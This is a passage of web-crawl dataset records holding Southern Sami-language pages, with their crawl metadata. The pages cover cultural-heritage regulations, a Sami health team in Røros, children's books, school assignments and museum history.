forlaget.\nKunnskapsdepartementet (2017). Rammeplan for barnehagen. Forskrift om rammeplan for barnehagens innhold og oppgaver. Utdanningsdirektoratet.\nLindström, B., & Eriksson, M. (2015). Haikerens guide til salutogenese. Helsefremmende arbeid i et salutogent perspektiv. Oslo: Gyldendal Akademisk.\nNergård, V. (2011). Fler-foreldre-systemet i samisk barneoppdragelse. Norsk Pedagogisk Tidsskrift 1, 2011, Årgang 95, side 30–4. https:\/\/www.idunn.no\/file\/pdf\/46618143\/art04.pdf\nNystad, K. (2016). Sami Adolescents Pathways to Adulthood. Ph.d.-avhandling: Universitetet i Oslo.\nSametinget (2013). Sametingsmelding om samisk barnehagetilbud.\nStoor, P. (2016) Kunskapssammanställning om samers psykosociala ohälsa. Sametinget 2016-06-20.\nWHO (2003). Skills for health. Information series of school health, document 9. Atlanta, Georgia, USA.\nhttps:\/\/www.unicef.org\/lifeskills\/files\/SkillsForHealth230503.pdf","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.utdanningsnytt.no\/dronning-mauds-minne-hogskole-fagartikkel-forste-steg\/saemien-maanagerth-maehtieh-maanaj-jieledehaalvemem-eevtjedh\/288189","date":"2023-02-08T16:15:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500837.65\/warc\/CC-MAIN-20230208155417-20230208185417-00115.warc.gz","language":"sma","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999780654907227}","num_words":1134,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dispensasjovne kultuvremojhteselaaken mietie Jis råajvarimmien aajhtere vuajna akte soejkesjamme råajvarimmie ovvaantose båata registreradamme kultuvremojhtesinie maahta dispensasjovnen bïjre syökedh kultuvremojhteselaaken nænnoestimmijste jis sæjhta dam soejkesjamme råajvarimmiem læjhkan tjïrrehtidh.Jis saemien kultuvremojhtesi bïjre edtja ohtsemem seedtedh Saemiedægkan. 01.01.2020 raejeste Saemiedigkie lea dispensasjovnefaamoe saemien kultuvremojhtesi åvteste. Muvhti veajkoej maahta arkeologeles goerehtimmiem krïevedh jis edtja maehtedh ohtsemem maeksedh.Kultuvremojhteselaaken mietie paragraafe 10 lea sïejhme råajvarimmien aajhtere mij maaksojde maaksa arkeologeles goerehtimmien åvteste. Gosse unnebe, privaate råajvarimmieh staate maahta gaajhkh maaksoeh, jallh bielieh maaksojste maeksedh. Lohkh vielie dan bïjre daesnie: Maaksoe åasijste arkeologeles barkoej åvteste unnebe, privaate råajvarimmine.Rïjhkeantikvaaren gåetiesæjrosne maahta vielie lohkedh aamhtesereeremen bïjre dispensasjovneaamhtesijstie.Veelebe buerkiestimmie vaarjelamme gåetiej bïjre jïh dispensasjovnen bïjre kultuvremojhteselaakeste daesnie: Ohtseme dispensasjovnen bïjre kultuvremojhteselaakeste.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/dispensasjovne-kultuvremojhteselaaken-mietie\/","date":"2023-03-25T19:24:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945372.38\/warc\/CC-MAIN-20230325191930-20230325221930-00070.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":109,"character_repetition_ratio":0.141,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bæjhkoje Ellen Ravna Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Formaate Gaskeviermiesæjroe Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Saemiengïele Grammatihke Viehkiebaakoe Spealadidh Bak Baalte Sisnie Nuelesne Nelnie Postposisjovnh Postposisjovne Gïeleööhpehtimmie Grammatihke Skriving Lohkedh Quizlet Spïelem Spealadidh Spïeleme","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/node\/27954","date":"2023-03-24T03:29:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945242.64\/warc\/CC-MAIN-20230324020038-20230324050038-00439.warc.gz","language":"sma","language_score":0.9996473789,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996473789215088}","num_words":43,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dongkede tsïeglh\nMan hijven dijjieh guessieh sïjhtede! Tsïeglh voejhkelieh jienebh skuvlh seamma dajvesne vaaksjodh dan gåhkese gåarede, jïh vuelkemelaajroe dan mietie bïejesåvva. Såemies aejkien maahta geerve sjïdtedh guessieh tsïeglijste åadtjoeh gosse raaktan bööremes dijjese sjeahta, men tjaelede vaajteles biejjiem, jïh vaajtelossjede. Mijjieh mijjen ellen buaratjommesem darjobe!\nGïehtjede vuelkemelaajroem, dellie vuejnede mah biejjieh mah joe leah dongkesovveme.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/samiskeveivisere.no\/sma\/dongkede-tsieglh\/","date":"2023-03-22T04:08:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00366.warc.gz","language":"sma","language_score":0.9999951124,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999951124191284}","num_words":56,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïejvesegoerkese åarjelsaemiengïele\/sørsamisk\nBaakoegåårkese lea digitale goerehtimmie gaskeviermesne. Destie maahta daejredh guktie maana baakoeh guarkoe. Numhtie åadtjobe daejredh guktie edtjebe baakoej gujmie barkedh dovne maanagïertesne jïh skuvlesne.\nLes omtale av Begrepsforståelse på norsk.\nLoga Doabaáddejupmi birra davvisámegillii.\nLågå Báhkodádjadus birra julevsábmáj.\nIlledahke dallegh vååjnoe gosse maana lea gaervies. Illedahkh goerehtallemistie vaestiedassh vedtieh mej dïejvesigujmie sæjhta maereles årrodh vielie barkedh, dovne maanagïertesne jïh skuvlesne. Dïejvesh funksjonelle sjidtieh, sïejhme dorjesuvvieh jïh maahta dejtie orre tsiehkide jïh orre haestiemidie sertedh aarkebiejjien jïh dejnie joekehts faagine.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/statped.no\/laringsressurser\/sprak-og-tale\/samisk-spraktale\/diejvesegoerkese---aarjelsaemiengielesorsamisk\/","date":"2023-03-23T04:33:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296944996.49\/warc\/CC-MAIN-20230323034459-20230323064459-00518.warc.gz","language":"sma","language_score":0.9999614954,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999614953994751}","num_words":81,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien healsoedåehkie Rørosesne edtja datnem goh saemien årroje, viehkiehtidh guktie seammavyörtegs dïenesjh åadtjoeh.\nSaaht magkeres healsoeviehkiem datne daarpesjh, maahta ryöktesth skïemtjesåjhterinie saemien healsoedåehkesne gaskesadtedh. Skïemtjesåjhtere datnem viehkehte reaktoe healsoebarkijh gaavnedh mej sjïere maahtoe saemien gïelen jïh kultuvren bïjre – dåakterejarngesne, skiemtjehïejmine, hïejmedïenesjisnie, healsoestasjovnesne maanide jïh noeride jïh psykiske healsoen jïh geeruvevoeten goevtesisnie.\nDatne maahtah gaskesadtedh:\nRørosen dåakterejarngesne saemien dåaktere lea stïeresne 4 aejkieh jaepien 2021\/2022.\nSaemien healsoedåehkie lea ektiedahkoeprosjekte gaskem Rørosen tjïelte, St, Olavs hospital jïh Åarjelsaemien healsoeviermie. Mijjieh akte faagi dåaresth dåehkie healsoebarkijigujmie mej maahtoe saemien gïelen, kultuvren jïh healsoen bïjre.\nHealsoedåehkie barkijh åtna Rørosen tjïeltesne, SANKS:sne jïh St. Olavs hospitalesne jïh dåehkesne dovne dåaktere, skïemtjesåjhterh, psykiatrijen skïemtjesåjhterh, jurjiehtæjja, jieledeaavoetjåadtjoehtæjja , healsoefaagebarkije. Edtjebe dovne klinihkeles dïenesjh sjugniedidh, viehkine årrodh bïevnesh beagkoehtidh tjïeltide jïh healsoegïehtelimmide, jïh gaskesem tseegkedh tjïeltigujmie jïh sïjtigujmie. Mijjen aaj akte laavenjostoe åarjelsaemien hearrine Åarjelsaemien Åålmegisnie.\nProsjekten visjovne lea saemien årrojh edtjieh faalenassem utnedh hijven healsoeviehkien jïh seammavyörtegs healsoedïenesji bïjre, juktie naemhtie saemien seabradahken båetijem aejkiem hoksedh. Healsoeviehkie edtja jïjtse gïelesne vadtasovvedh jïh saemien kultuvren mietie, mïsse saemien skïemtjijh dovne reaktam utnieh jïh daarpesjieh. Daate edtja saemien seabradahkese psykiske jïh fysiske tryjjem vedtedh, jïh nænnoes saemien seabradahkem hijven healsojne hoksedh.\nHealsoedåehkie aaj maahtoelutnjeminie jïh bïevnesebeagkoehtimmine jeatjah tjïeltide jïh healsoegïehtelimmide saemien skïemtjijigujmie barka.\nProsjekte saemien healsoedåehkie vaasa skïereden 2022 raajan.\nLohkh vielie saemien healsoedåehkien bïjre\nLohkh saemien healsoedåehkien prosjektebuerkiestimmiem (PDF)\nSaemien healsoedåehkien prosjekteåvtehke lea Anne Lajla Westerfjell Kalstad:\nMåanta–bearjadahke ts. 8.00–15.30:\n47 69 52 09 – skïemtjesåjhterinie Rørosen tjïeltesnesykepleier\n47 69 52 47 – skïemtjesåjhterinie St. Olavs Hospitalesne\nE-påaste:\nfirstname.lastname@example.org\nSosiale medier:\nSamisk helseteam på facebook\n@samiskhelseteam på instagram\nE-læringskurset: «Sørsamiske forhold og helse»\nEt kurs for deg som jobber innen helse- og omsorgsyrker, som gir grunnleggende kunnskap om samiske samfunnsforhold, historie, tverrkulturell kommunikasjon og forståelse. Andre kan også ha nytte av kurset. Les mer om e-læringskurset: «Sørsamiske forhold og helse»","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/roros.kommune.no\/helse-og-omsorg\/saemien-healsoedaehkie\/","date":"2023-03-24T09:18:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00414.warc.gz","language":"sma","language_score":0.999735415,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999735414981842}","num_words":287,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staare 2018 – heevehtimmesne edtjebe golme orre maanagærjah luejhtedh:\nKapteejne Kråatjebaenie gulliem hapsa, Njoktje prinsessa, Ledtieh jih juvrh staaresne.\nGïelejarnge Gïelem nastedh Snåasesne gærjide luajhta, Noerhte-Trööndelagen\nfylhkengærjagåetien ektine.\nNjoktje-prinsessa\nGuhkede daestie jïh guhkiem mænngan lij akte\nlaante gogka dah svaaloeh haeliehtin edtjin\ndaelvege årrodh. Gånka dennie laantesne\nluhkieakte baernieh utni jïh nïejtetjem – Læjsa.\nEjva Krihke Jonassen jarkoestamme.\nKapteejne Kråatjebaenie gulliem hapsa\nKapteejne Kråatjebaenie gulliem hapsa aktene\nsaedtiegaedtesne. Dïhte Pellem jïh Skabroem stillie\nkroehkedh. Mearan kroehkeminnie, dle gaevniejægan\njïjnjem rovnegem, aktem skïhpeståvroem, göökte\nkanovnh, aktem roesteme aanghkere jïh jijnjem jeatjah.\nMij maa saedtien nuelesne?\nVïenhth, Kaaptejne Kråatjebaenie gulliem gaavna?\nRisten Birje Steinell jarkoestamme.\nLedtieh jïh juvrh staaresne\nStaaresne jijnjh ovmessie juvrh gååvnesieh. Man åvteste jïh guktie staaresne årroeminie, aktene dej almetjigujmie mah staaresne årroeminie?\nMeerke Krihke Leine Bientie jarkoestamme.\nLast ned PDF: orre_maanagaerja_staare2018\nLes artikkelen på norsk her: https:\/\/gielemnastedh.no\/2018\/02\/tre-nye-barneboker\/","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/gielemnastedh.no\/2018\/02\/golme-orre-maanagaerjah\/","date":"2023-03-23T21:22:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945183.40\/warc\/CC-MAIN-20230323194025-20230323224025-00694.warc.gz","language":"sma","language_score":0.9999285936,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999285936355591}","num_words":136,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Væjkeles journaliste dovne darjoeh jïh gihtjieh hijven gyhtjelassh. Datne tjoerh aaj soejkesjidh mah dalhketjh mah leah daerpies gosse edtjh gihtjehtidh.\nKåanste hijven gyhtjelassh darjodh\nHijven gyhtjelassh leah vihkele dovne gosse edtja gieltegs gihtjehtimmiem darjodh jïh hijven galhkuve-dorjesem åadtjodh. Men guktie hijven gyhtjelassh darjoeh?\nDarjoeh ræhpas gyhtjelassh. Aellieh gyhtjelassh gihtjh mejtie maahta vaestiedidh ijje\/jaavoe, men gyhtjelassh gusnie gihtjelgæjja maahta vielie jiehtedh maam meala.\nNuhtjh dam maam gaavnih gosse gihtjhetimmiem soejkesjih: «Gaajhkesh jiehtieh datne leah gïemhpes baernie, men leah såemies aejkien skaajhvoeh aaj?»\nDarjoeh gellie gyhtjelassh! Buerebe fer gellie gyhtjelassh goh fer vaenie utnedh. Ih daarpesjh gaajhkh gyhtjelassh gihtjedh.\nMujhtieh gihtjedh mejtie luhpiem åadtjoeh guvvieh vaeltedh gihtjelgæjjeste, jïh\/jallh tjoejebaantedimmieh darjoeh.\nGosse guvvieh vaaltah\nHoksh gihtjelgæjja lea våajnoes guvvesne, jïh olles mij akt leah gihtjelgæjjan duekesne mij hearaldahta.\nHoksh hijven tjoevkesem, jïh tjoevkese almetjasse båata reaktoe otnjegistie. Jis guvviem klaasen uvte vaaltah jïjnje vuestie-tjoevkesinie, almetje mïrhke sjædta. Tjåadtjoeh desnie gusnie maahtah tjoevkesem klaaseste nuhtjedh almetjem tjoevkedidh, jïh datne klaasen uvte tjåadtjoeh tjoevkesinie rudtjesne.\nVaeltieh gellie guvvieh, dïhte hov namhtah! Vaeltie gelliesåarhts guvvieh. Lissine portrehte-gåvvan almetjistie maahtah aaj guvviem vaeltedh aktene byjresisnie mij vihkele almetjasse.\nSoejkesjh dalhketjh jïh baantedimmiem\nEdtjh guvvieh vaeltedh, videove- jïh\/jallh tjoeje-baantedimmiem darjodh? Dellie byörh soejkesjem utnedh.\nRaerieh\nNuhtjh dov mobijle-tellefovnem.\nHoksh dov lea straejmie.\nGïehtjh tjoeje-baantedimmie, guvvie- jïh videove-funksjovnh juhtieminie goh edtjieh, jïh datne daajrah guktie edtjh dejtie nuhtjedh.\nVaeltieh gellie guvvieh.\nGïehtjh baantedimmiem åvtelen gihtjehtimmie-tsiehkiem galhkoeh.\nNuhtjh jienebh medijh\nGåarede aaj portrehtem darjodh gusnie tjaalegem, guvvieh, tjoejem jïh\/jallh videovem nuhtjh.\nMaahtah stories-funksjovnem sosijaale medijumesne nuhtjedh, teekstem tjoejefijlen sïjse redigeeredh videoveredigeereme-appesne jallh videove-redigeeremeprogrammesne. Maahtah videovem, guvvieh jïh tjoejem akten blogge-boelhkese bïejedh, jallh teekstem jïh guvvieh hammoedimmie-programmesne noeredh.\nRaerieh\nAellieh seamma sisvegem tjoejesne jïh videovisnie utnieh\nTjoejebietske maahta jïjtse histovrijem utnedh\nVideovebietske maahta darjomem jallh gihtjelgæjjam aktene biejjesne vuesiehtidh.\nTeekste maahta vielie bïevnesh vedtedh goh guvvie vuesehte.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:bcec6fed-d76f-49c2-bee3-167cf4519961","date":"2023-03-26T15:07:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00718.warc.gz","language":"sma","language_score":0.9999754429,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999754428863525}","num_words":296,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MUSEUME JÏH POLITIHKE\n1894: \"At samene på denne måten ble plassert i kategori med utenomeuropeiske folk var ikke en museumsfaglig særegenhet, men avspeilet allmenne holdninger til samene på denne tiden, både innenfor vitenskapelige miljøer og i samfunnet generelt.\"\n1959: \"… det var statens ansvar å legge forholdene til rette for at samisk språk og kultur kunne bestå og utvikles – et viktig brudd med tidligere tiders fornorskningspolitikk (…).\"\nLeif Pareli, \"Stilt på likefot\", By og bygd 2012\nNorsk Folkemuseumen saemien våarhkosne gellie åtnoedaeverh Røros-saemien dajveste. Etnografeles museume daevieridie sïjse tjöönghki 1951, jïh saemiej histovrije edtji dejnie nöörjen histovrijinie mïrrestalledh. Serteme våarhkoste lij akte veaksehke symbovleles tsoepkenasse 1800-låhkoen åssjalommesinie, mij jeehti saemien åålmege lij akte ammes kultuvre Nöörjesne. Daate lea voestes aejkien daeverh daehtie våarhkoste vuesiehtamme sjidtieh Røros-saemien dajvesne.\nReereme dejstie saemien daevierijstie lea jeenjemasth politihkeles stuvreme orreme. Mubpien veartenedåaroen raajan saemien daeverh sijse tjööngkesovvin Universiteeten Etnografeles museumasse seammalaakan goh daeverh europan ålkolen. Dan aejkien lij vihkeles dam saemien materijaalem båarhte tjïelkestidh dehtie nöörjen kultuvreste, mij lij eevre vihkeles nasjovnebigkemisnie mubpien lehkien raejeste 1800-låhkoste. Doh saemien daeverh tjöönghkesovvin åajvahkommes museumeåvtehkijstie Yngvar Nielsen jïh tjaeliejistie Finnemisjovnesne, Bertrand N. Nilsen.\nEaskah jaepien 1951 våarhkoe sertiestovvi Norsk Folkemuseumasse, mij dellie aktem jïjtse saemien goevtesem åadtjoeji. Buerkiestimmie lij saemiej edtji nöörjen åålmeginie mïrrestalledh.\nSaemiedigkie jïh Norsk Folkemuseum aktem latjkoen bïjre seamadin jaepien 2012 gusnie tjåadtjoeji akte lehkie dehtie saemien våarhkoste edtja bååstede sertiestovvedh dejtie saemien museumidie sijjen hïejmedajvine. Prosjekte Bååstede – kultuvreaerpiem bååstede juhtiehtidh lea juhtieminie, men barkoe fïnkese. Akte sjïere fåantoe lea faatoes finansieradimmie eensi tjaavhkomesijjijste dejnie saemien museuminie.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/rorosmuseet.no\/museume-jh-politihke","date":"2023-03-23T11:08:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00558.warc.gz","language":"sma","language_score":0.9988431334,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9988431334495544}","num_words":245,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh artihkelasse Dåajmijes vuekie lea saemien vuekie.\nAalkoe-almetji dotkeme-vuekie lea gosse aalkoe-almetjen dotkijh jïjtsh aerpievuekien bïjre dotkoeh. Jis saemien raedteste ussjedibie dellie saemien dotkije saemien aerpievuekien maahtoem dotkoe, dan bïjre tjaala jïh dam åehpiedahta. Jïh naemhtie maahtoe nåhtose daaletjen siebriedahkesne båata.\nGaebpien Leena jïh Harald Gaski lægan tjaalegem Dåajmijes vuekie lea saemien vuekie tjaaleme.\n1. laavenjasse\nLohkh boelhketjem maam aalka bijjie-baakojne Naan saemien estetihke lahtesh. Daate boelhke saemien daajhteme-daajroen bïjre.\n- Mij lea tjaebpie dov mïelen mietie?\n- Guktie Kristoffer Sjulsson buerkeste mij tjaebpie?\n- Dov seamma mïele goh Kristoffer Sjulsson?\n2. laavenjasse\nLohkh boelhketjem mij aalka baakoejgumie \"Soptsestallemen vuekieh\"\n- Mij gïele-mïestere?\n- Maam gïele-mïestere dorje?\n- Tjaelieh naan vuesiehtimmiej bïjre gosse datne gïele-mïesterem råakeme jallh gosse datne jïjtje gïele-mïesterinie orreme.\n- Mah funksjovnh gïele-mïestere saemien siebriedahkesne åtna?\n3. laavenjasse\nLohkh boelhketjem bijjie-baakojne Dåajmijes vuekine laahtjeres årrodh.\nTjaelieh skaepiedihks tjaalegem gusnie goerehth \"jïjtjemem jïh sinsitniem åahpanedtieh laahkoen jïh dajven muhteste\".\n4. laavenjasse\nTjaalegisnie tjaaleme \"Vååjnoe mijjien saemien gïeline raaktan vuastalimmiem dikotomijine kategoriseeredh, ibie utnieh gænnah mijjien gïeline naan bielie-öörnemen konjunksjovne enten (-eller)\/either (-or).\"\nTjaelieh ussjedihks tjaalegem guktie saemien gïele bigkeme jïh maam tjaalege saemien åssjaldahkevuekien bïjre soptseste. Datne edtjh tjaalegem dåastoejasse jïh åssjelasse sjïehtedidh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:20e0fdca-5237-4095-a9e5-cea7d63866c0\/topic:3:172880\/topic:5:182050\/resource:49d4a8c1-3a84-4801-89cd-8bdb778d7e99","date":"2023-03-29T03:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948932.75\/warc\/CC-MAIN-20230329023546-20230329053546-00750.warc.gz","language":"sma","language_score":0.9999947548,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999947547912598}","num_words":184,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Benedikte Eriksen, leam 19 jaepien båeries jïh Ájluokteste båatam Hábmeren tjïeltesne. Manne Ájluoktesne orreme reakadimmien raejeste jïh goske 16 jaepieh illim. Dellie gåetielåhpan juhtim Oppeidesne, gusnie 2 jaepieh årroejim, mearan doh göökte minngemes jaepieh veedtsim Ålkonelinjesne Knut Hamsunen jåarhkeskuvlesne. Manne lyjhkem ålkone årrodh jïh kråahpem nuhtjedh. Leam hierkiejgujmie gïehtelamme dan guhkiem måjhtam, jïh gosse Ålkonelinjesne eelkim jåarhkeskuvlesne dellie ïedtjem åadtjoejim dovne padladimmeste jïh goetsemistie.\nManne gaajh tjarke aavodem daan jaapan goh tsïegle jïh leam joekoen gijhteles manne åadtjoem meatan årrodh daam dååjredh! Vïenhtem daate dïhte jaepie sjædta gusnie åadtjoem skearkagidh jïh jïjtjemem haestedh. Aavodem vielie mijjen kultuvren jïh histovrijen bïjre lïeredh, jïh dan bïjre soptsestidh jeatjah noeride nöörjen skuvline. Daate sån jaepie sjædta orre learojne jïh mojhtesigujmie!\nSåemies varke saetniesvoeth\nMïsse jeenjemes aavodh daan tsïeglejaepien?\nManne jeenjemes aavodem bïjre jarkan mïnnedidh jïh jeatjah noerh nöörjen skuvline råakedh, jïh daajroem saemien kultuvrem jïh histovrijen bïjre geerjehtidh.\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemiej bïjre daejredh?\nTuhtjem vihkele noerh Nöörjesne guarkoeh mijjieh, saemieh, ibie jielieh naemhtie guktie darjoejin 100 jaepiej juassah.\nBööremes raerie jïengem tsööpkedh?\nJarhpoe ij leah gåessie gænnah fiejlie? Jallh?\nMaam darjoeh luhkine jaepine?\nManne mån gieltegs barkosne mejnie tråjjedem, dagke goh pollise, lohkehtæjja jallh mij akt politihken bïjre.\nMaam lih sïjhteme meatan vaeltedh akten aevries såålese, jïh mannasinie?\nKlaasetjelmieh. Guktie maahtam naakedem vuejnedh.\nGie dov saemien åvteguvvie jïh mannasinie?\nElla Marie Hætta Isaksen. Dïhte gaajh tjaebpies musihkem dorje, jïh ïedtjem åtna seabradahkeste. Dam lyjhkem! Aaj gærjam eahtsam maam aadtjen luajhteme.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/benedikte-eriksen-3\/","date":"2023-05-29T22:05:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644913.39\/warc\/CC-MAIN-20230529205037-20230529235037-00321.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":239,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse mijjieh sealoedimmiem gïeleldh vierhkie-vierhkine nuhtjebe dellie eatneme, aath jïh kreekh maehtieh almetji jïjtsevoeth åadtjodh. Dovne biejjieladtje gïelesne jïh lidteratuvresne sïejhme sealoedimmiem nuhtjedh.\nAath jielieminie\nPaul Vesterfjell lea vaajesem Dah golme åerpenh soptsestamme. Daennie vaajesisnie tjuvjie, bïegke jïh værtoe sealoem åådtjeme.\nDan tïjjen lin golme åerpenh veasoeminie. Dan akten nomme Tjuvjie, dan mubpien nomme Bïegke jïh dan gåalmeden nomme Værtoe. Dah lin fealedeminie, lustestalleminie. Ånnetji die dïhte Tjuvjie jeahta:..[1]\nSealoedimmie diktesne\nInger-Mari Aikio-Arianaick lea sealoedimmiem nuhtjeme diktesne Soptsesem gosse datne vualkeme.\nsïmmh rïesegasse\nsoptsesth gaamegasse\ntjåårvh dållese [2]\nDaennie diktesne eatneme jïh aath almetji jïjtsevoeth åadtjoeh. Rïesege, gaamege jïh dålle maehtieh goltelidh. Rïesegasse tjoerebe sïmmedh. Gaamegasse edtjebe soptsestidh, men dållese tjoerebe tjåarvodh. Mejtie dan åvteste gosse dålle buelieminie, dålle snæjra jïh dellie dålle ij govlh jis mijjieh ajve dïsse soptsestibie.\nKreekh aaj maehtieh sealoem utnedh\nGosse mijjieh soptsesh lohkebe dellie kreekh, ledieh jïh guelieh maehtieh almetji jïjtsevoeth åadtjodh. Dah maehtieh dovne garmere jïh gïemhpe årrodh, dah maehtieh måarahtovvedh, soptsestidh j.n.v.\nDaesnie naan vuesiehtimmieh:\nSoptsesisnie Gurhtie dellie gurhtie lea garmere jïh dïhte aaj måarahtåvva.\nSoptsesisnie Bovtse jïh sïrve dellie bovtse jïh sïrve maehtieh sinsitnine soptsestidh.\nSoptsesisnie Bïerne dellie bïerne lea gïemhpe jïh Lutnjestæjjam viehkehte gosse dïhte baenhtsesne.\nSealoedimmie empatijem voerkele\nMan åvteste mijjieh ussjedibie aath maehtieh almetji jïjsevoeth utnedh? Kaanne dan åvteste mijjieh tuhtjebe aelhkebe eatnemen, kreeki jïh aati bïjre buerkiestidh gosse almetji jïjsevoeth dejtie vedtebe.\nGellie mijjeste gujht lyjhkede-kreekh utnebe. Mijjieh kreekide nommem vedtebe, jïh dah maehtieh maanine mijjese årrodh. Reklaamen tjïrrh aaj aatide jïjsevoeth vedtebe juktie maam akt doekedh.\nBaakoeh\nSaemien\nDaaroen\nsealoedimie\nbeskjeling\nalmetji jïjtsevoeth\nmenneskelige egenskaper\n- 1«Dah golme åarpenh». Viesterviellien, Pöövle. Gïelem nastedh. 2013.\n- 2«Åvtese jåhta, åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien». Kappfjell, Lena Gaski, Harald. DAT o.s. 2005.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:182229\/resource:1:157469","date":"2023-06-09T15:43:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224656737.96\/warc\/CC-MAIN-20230609132648-20230609162648-00574.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 